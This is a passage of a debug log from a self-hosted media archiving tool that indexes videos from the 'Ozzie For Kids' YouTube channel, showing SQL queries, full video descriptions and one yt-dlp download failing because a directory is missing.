Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Sharks #SharkFacts #OceanAnimals #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "10 Amazing Shark Facts for Kids! 🦈 Better Than Baby Shark?! | Fun Shark Song with Ozzie", "01acbaeb-63c7-48bc-ac49-c4d0a4bfad72", 154, false, "09vRWSe8Otk", "https://www.youtube.com/watch?v=09vRWSe8Otk", 18, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-08 - 10 Amazing Shark Facts for Kids! 🦈 Better Than Baby Shark?! | Fun Shark Song with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-08 20:00:37Z], ~U[2026-09-03 03:16:37Z], ~U[2026-09-03 03:16:37Z], "🦈 Dive into an ocean of fun with Ozzie's 10 Amazing Shark Facts Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and discover incredible facts about one of the ocean's most fascinating animals. From giant whale sharks to super-powered shark senses, you'll learn amazing things while singing along!\n\nGet ready to move your body, snap your jaws and sing along as we explore the wonderful world of sharks together.\n\nMusic helps us learn and remember new things. So jump in and discover why sharks are some of the most amazing animals in the ocean!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ Amazing shark facts\nβ€’ How sharks survive in the ocean\nβ€’ Why sharks are important for healthy oceans\n\nTopics kids will learn about in this video:\nβ€’ shark facts for kids\nβ€’ shark song for kids\nβ€’ sharks explained for kids\nβ€’ whale shark facts for kids\nβ€’ ocean animals for kids\nβ€’ shark learning song\nβ€’ sharks for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Sharks #SharkFacts #OceanAnimals #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "10 Amazing Shark Facts for Kids! 🦈 Better Than Baby Shark?! | Fun Shark Song with Ozzie", 154, false, "09vRWSe8Otk", "https://www.youtube.com/watch?v=09vRWSe8Otk", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-08 - 10 Amazing Shark Facts for Kids! 🦈 Better Than Baby Shark?! | Fun Shark Song with Ozzie.mp4", false, 7, ~U[2026-07-08 20:00:37Z]] 13:16:37.182 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=206.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:37.182 [debug] QUERY OK source="media_profiles" db=0.2ms idle=16.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:16:37.183 [debug] QUERY OK source="media_items" db=0.3ms idle=13.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9762] 13:16:37.183 [debug] Current batch of media processed. Will check again in 1000ms 13:16:38.185 [debug] Current batch of media processed. Will check again in 1000ms 13:16:39.189 [debug] Current batch of media processed. Will check again in 1000ms 13:16:40.190 [debug] Current batch of media processed. Will check again in 1000ms 13:16:41.194 [debug] Current batch of media processed. Will check again in 1000ms 13:16:42.195 [debug] Current batch of media processed. Will check again in 1000ms 13:16:43.199 [debug] Current batch of media processed. Will check again in 1000ms 13:16:43.386 [info] {"source":"oban","duration":8982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:44.207 [debug] Current batch of media processed. Will check again in 1000ms 13:16:45.211 [debug] Current batch of media processed. Will check again in 1000ms 13:16:46.217 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Can Ozzie really ride on a mini RC truck float? Today we're going to find out, while exploring incredible diggers and RC little big rigs! 🚚🚜\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we discover amazing machines and go on exciting adventures together!\n\nCan you really ride on a giant remote control truck? Join Ozzie as we visit Little Big Rigs to explore incredible RC construction vehicles and find out!\n\nWatch powerful RC excavators dig giant holes, dump trucks move loads of dirt, and see if Ozzie can balance on an amazing ride-on RC truck. There are huge machines, awesome construction action and plenty of laughs along the way.\n\nIf you love trucks, diggers and construction sites, this is one adventure you won't want to miss!\n\nhttps://www.facebook.com/littlebigrigssydney/\nhttps://www.instagram.com/littlebigrigs.sydney\n\nKids will learn about:\nβ€’ How RC trucks and diggers work\nβ€’ Different construction vehicles and what they do\nβ€’ How teamwork helps build amazing things\n\nTopics kids will learn about in this video:\n\nβ€’ RC Trucks For Kids\nβ€’ Remote Control Trucks For Kids\nβ€’ RC Diggers For Kids\nβ€’ Excavators For Kids\nβ€’ Dump Trucks For Kids\nβ€’ Construction Vehicles For Kids\nβ€’ Big Rigs For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#RCTrucks #RCDiggers #ConstructionVehicles #OzzieForKids #EducationalVideosForKids #StayKeen", "duration" => 1257, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-05 - Ozzie Rides on a Mini Truck! 🚚 RC Diggers & Little Big Rig Adventure for Kids.mp4", "id" => "xbyEMxWTjgE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xbyEMxWTjgE", "playlist_index" => 19, "timestamp" => 1783227620, "title" => "Ozzie Rides on a Mini Truck! 🚚 RC Diggers & Little Big Rig Adventure for Kids", "upload_date" => "20260705"} 13:16:46.219 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=1612.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:16:46.220 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1614.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:46.233 [debug] QUERY OK source="media_items" db=11.5ms queue=0.1ms idle=1615.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-05 05:00:20Z], 7] 13:16:46.238 [debug] QUERY OK source="media_items" db=3.7ms queue=0.1ms idle=1207.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Can Ozzie really ride on a mini RC truck float? Today we're going to find out, while exploring incredible diggers and RC little big rigs! 🚚🚜\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we discover amazing machines and go on exciting adventures together!\n\nCan you really ride on a giant remote control truck? Join Ozzie as we visit Little Big Rigs to explore incredible RC construction vehicles and find out!\n\nWatch powerful RC excavators dig giant holes, dump trucks move loads of dirt, and see if Ozzie can balance on an amazing ride-on RC truck. There are huge machines, awesome construction action and plenty of laughs along the way.\n\nIf you love trucks, diggers and construction sites, this is one adventure you won't want to miss!\n\nhttps://www.facebook.com/littlebigrigssydney/\nhttps://www.instagram.com/littlebigrigs.sydney\n\nKids will learn about:\nβ€’ How RC trucks and diggers work\nβ€’ Different construction vehicles and what they do\nβ€’ How teamwork helps build amazing things\n\nTopics kids will learn about in this video:\n\nβ€’ RC Trucks For Kids\nβ€’ Remote Control Trucks For Kids\nβ€’ RC Diggers For Kids\nβ€’ Excavators For Kids\nβ€’ Dump Trucks For Kids\nβ€’ Construction Vehicles For Kids\nβ€’ Big Rigs For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#RCTrucks #RCDiggers #ConstructionVehicles #OzzieForKids #EducationalVideosForKids #StayKeen", "Ozzie Rides on a Mini Truck! 🚚 RC Diggers & Little Big Rig Adventure for Kids", "cd3489a9-d843-4876-b8b8-e02dc509a592", 1257, false, "xbyEMxWTjgE", "https://www.youtube.com/watch?v=xbyEMxWTjgE", 19, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-05 - Ozzie Rides on a Mini Truck! 🚚 RC Diggers & Little Big Rig Adventure for Kids.mp4", false, false, false, 7, [], 98, ~U[2026-07-05 05:00:20Z], ~U[2026-09-03 03:16:46Z], ~U[2026-09-03 03:16:46Z], "Can Ozzie really ride on a mini RC truck float? Today we're going to find out, while exploring incredible diggers and RC little big rigs! 🚚🚜\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we discover amazing machines and go on exciting adventures together!\n\nCan you really ride on a giant remote control truck? Join Ozzie as we visit Little Big Rigs to explore incredible RC construction vehicles and find out!\n\nWatch powerful RC excavators dig giant holes, dump trucks move loads of dirt, and see if Ozzie can balance on an amazing ride-on RC truck. There are huge machines, awesome construction action and plenty of laughs along the way.\n\nIf you love trucks, diggers and construction sites, this is one adventure you won't want to miss!\n\nhttps://www.facebook.com/littlebigrigssydney/\nhttps://www.instagram.com/littlebigrigs.sydney\n\nKids will learn about:\nβ€’ How RC trucks and diggers work\nβ€’ Different construction vehicles and what they do\nβ€’ How teamwork helps build amazing things\n\nTopics kids will learn about in this video:\n\nβ€’ RC Trucks For Kids\nβ€’ Remote Control Trucks For Kids\nβ€’ RC Diggers For Kids\nβ€’ Excavators For Kids\nβ€’ Dump Trucks For Kids\nβ€’ Construction Vehicles For Kids\nβ€’ Big Rigs For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#RCTrucks #RCDiggers #ConstructionVehicles #OzzieForKids #EducationalVideosForKids #StayKeen", "Ozzie Rides on a Mini Truck! 🚚 RC Diggers & Little Big Rig Adventure for Kids", 1257, false, "xbyEMxWTjgE", "https://www.youtube.com/watch?v=xbyEMxWTjgE", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-05 - Ozzie Rides on a Mini Truck! 🚚 RC Diggers & Little Big Rig Adventure for Kids.mp4", false, 7, ~U[2026-07-05 05:00:20Z]] 13:16:46.239 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=207.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:46.239 [debug] QUERY OK source="media_profiles" db=0.2ms idle=20.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:16:46.240 [debug] QUERY OK source="media_items" db=0.4ms idle=19.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9783] 13:16:46.240 [debug] Current batch of media processed. Will check again in 1000ms 13:16:46.931 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ba/e9/bae9a00a48417a7ba197c1c201725d0ed732d3cc7ea9573082d82d439bc89263.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 13:16:46.931 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 13:16:46.938 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":22021192,"event":"job:exception","queue_time":654158,"attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:16:47.244 [debug] Current batch of media processed. Will check again in 1000ms 13:16:48.246 [debug] Current batch of media processed. Will check again in 1000ms 13:16:49.248 [debug] Current batch of media processed. Will check again in 1000ms 13:16:50.252 [debug] Current batch of media processed. Will check again in 1000ms 13:16:51.262 [debug] Current batch of media processed. Will check again in 1000ms 13:16:52.268 [debug] Current batch of media processed. Will check again in 1000ms 13:16:53.276 [debug] Current batch of media processed. Will check again in 1000ms 13:16:54.277 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "🚜🚚 Get ready to DIG, DUMP and DRIVE with Ozzie in this exciting RC Trucks & Digger Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and explore amazing remote control construction vehicles in action. Watch excavators dig giant holes, dump trucks carry heavy loads, bulldozers push dirt and more as we discover how these awesome RC machines work!\n\nGet ready to move your body, stomp your feet and sing along as we build, dig and drive through this exciting construction adventure.\n\nMusic helps us learn, explore and imagine. So grab your hard hat and join Ozzie as we discover the incredible world of remote control construction vehicles together!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ Different RC construction vehicles\nβ€’ How excavators, dump trucks and bulldozers work\nβ€’ Teamwork on a construction site\n\nTopics kids will learn about in this video:\n\nβ€’ RC trucks for kids\nβ€’ RC digger song for kids\nβ€’ Remote control construction vehicles\nβ€’ Excavator song for kids\nβ€’ Dump truck facts for kids\nβ€’ Bulldozers explained for kids\nβ€’ Construction vehicles for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#RCTrucks #ConstructionVehicles #DiggersForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "duration" => 133, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-01 - RC Trucks & Digger Song | Fun Video for Kids with Ozzie.mp4", "id" => "RmzRu8mv9NU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RmzRu8mv9NU", "playlist_index" => 20, "timestamp" => 1782914428, "title" => "RC Trucks & Digger Song | Fun Video for Kids with Ozzie", "upload_date" => "20260701"} 13:16:54.279 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1661.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:16:54.280 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1209.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:54.284 [debug] QUERY OK source="media_items" db=3.5ms queue=0.1ms idle=659.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-01 14:00:28Z], 7] 13:16:54.289 [debug] QUERY OK source="media_items" db=3.4ms queue=0.1ms idle=664.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🚜🚚 Get ready to DIG, DUMP and DRIVE with Ozzie in this exciting RC Trucks & Digger Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and explore amazing remote control construction vehicles in action. Watch excavators dig giant holes, dump trucks carry heavy loads, bulldozers push dirt and more as we discover how these awesome RC machines work!\n\nGet ready to move your body, stomp your feet and sing along as we build, dig and drive through this exciting construction adventure.\n\nMusic helps us learn, explore and imagine. So grab your hard hat and join Ozzie as we discover the incredible world of remote control construction vehicles together!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ Different RC construction vehicles\nβ€’ How excavators, dump trucks and bulldozers work\nβ€’ Teamwork on a construction site\n\nTopics kids will learn about in this video:\n\nβ€’ RC trucks for kids\nβ€’ RC digger song for kids\nβ€’ Remote control construction vehicles\nβ€’ Excavator song for kids\nβ€’ Dump truck facts for kids\nβ€’ Bulldozers explained for kids\nβ€’ Construction vehicles for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#RCTrucks #ConstructionVehicles #DiggersForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "RC Trucks & Digger Song | Fun Video for Kids with Ozzie", "5214f2c9-6706-4c7a-b657-f6e5832e326d", 133, false, "RmzRu8mv9NU", "https://www.youtube.com/watch?v=RmzRu8mv9NU", 20, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-01 - RC Trucks & Digger Song | Fun Video for Kids with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-01 14:00:28Z], ~U[2026-09-03 03:16:54Z], ~U[2026-09-03 03:16:54Z], "🚜🚚 Get ready to DIG, DUMP and DRIVE with Ozzie in this exciting RC Trucks & Digger Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and explore amazing remote control construction vehicles in action. Watch excavators dig giant holes, dump trucks carry heavy loads, bulldozers push dirt and more as we discover how these awesome RC machines work!\n\nGet ready to move your body, stomp your feet and sing along as we build, dig and drive through this exciting construction adventure.\n\nMusic helps us learn, explore and imagine. So grab your hard hat and join Ozzie as we discover the incredible world of remote control construction vehicles together!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ Different RC construction vehicles\nβ€’ How excavators, dump trucks and bulldozers work\nβ€’ Teamwork on a construction site\n\nTopics kids will learn about in this video:\n\nβ€’ RC trucks for kids\nβ€’ RC digger song for kids\nβ€’ Remote control construction vehicles\nβ€’ Excavator song for kids\nβ€’ Dump truck facts for kids\nβ€’ Bulldozers explained for kids\nβ€’ Construction vehicles for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#RCTrucks #ConstructionVehicles #DiggersForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "RC Trucks & Digger Song | Fun Video for Kids with Ozzie", 133, false, "RmzRu8mv9NU", "https://www.youtube.com/watch?v=RmzRu8mv9NU", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-01 - RC Trucks & Digger Song | Fun Video for Kids with Ozzie.mp4", false, 7, 